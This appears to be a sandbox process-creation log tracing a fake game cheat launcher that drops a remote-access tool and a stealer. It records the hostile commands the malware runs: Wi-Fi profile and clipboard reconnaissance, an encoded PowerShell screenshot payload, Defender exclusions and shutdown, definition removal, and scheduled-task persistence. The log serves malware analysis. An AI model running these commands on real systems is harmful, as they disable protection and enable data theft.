Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIA
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "systeminfo"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\systeminfo.exe systeminfo
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-Clipboard
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profile
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIAB
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib -r C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +r C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ym2mlmby\ym2mlmby.cmdline"
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\agentInto\pR9EprN9daTFn7S7o.bat" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESF33B.tmp" "c:\Users\user\AppData\Local\Temp\ym2mlmby\CSCF71E4593383143BF89859CE8A82A5373.TMP"
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "getmac"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\agentInto\fontsessionruntime.exe "C:\agentInto\fontsessionruntime.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\getmac.exe getmac
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\agentInto\fontsessionruntime.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "bMCzMxeQsbb" /sc MINUTE /mo 8 /tr "'C:\Program Files (x86)\java\jre-1.8\lib\bMCzMxeQsb.exe'" /f
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "bMCzMxeQsb" /sc ONLOGON /tr "'C:\Program Files (x86)\java\jre-1.8\lib\bMCzMxeQsb.exe'" /rl HIGHEST /f
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\Conhost.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\6tGWMkdYv4.exe	Process created: C:\Users\user\AppData\Local\Temp\x10.exe "C:\Users\user\AppData\Local\Temp\x10.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x10.exe	Process created: C:\Users\user\AppData\Local\Temp\x9.exe "C:\Users\user\AppData\Local\Temp\x9.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x9.exe	Process created: C:\Users\user\AppData\Local\Temp\x8.exe "C:\Users\user\AppData\Local\Temp\x8.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x8.exe	Process created: C:\Users\user\AppData\Local\Temp\x7.exe "C:\Users\user\AppData\Local\Temp\x7.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x7.exe	Process created: C:\Users\user\AppData\Local\Temp\x6.exe "C:\Users\user\AppData\Local\Temp\x6.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x6.exe	Process created: C:\Users\user\AppData\Local\Temp\x5.exe "C:\Users\user\AppData\Local\Temp\x5.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x5.exe	Process created: C:\Users\user\AppData\Local\Temp\x4.exe "C:\Users\user\AppData\Local\Temp\x4.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4.exe	Process created: C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe "C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe	Process created: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe "C:\Users\user\AppData\Local\Temp\DCRatBuild.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe	Process created: C:\Users\user\AppData\Local\Temp\Built.exe "C:\Users\user\AppData\Local\Temp\Built.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe	Process created: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe "C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\agentInto\ygzWE.vbe"
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\agentInto\pR9EprN9daTFn7S7o.bat" "
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Users\user\AppData\Local\Temp\Built.exe "C:\Users\user\AppData\Local\Temp\Built.exe"
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\Built.exe'"
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\user\AppData\Local\Temp\Built.exe""
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ? .scr'"
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHk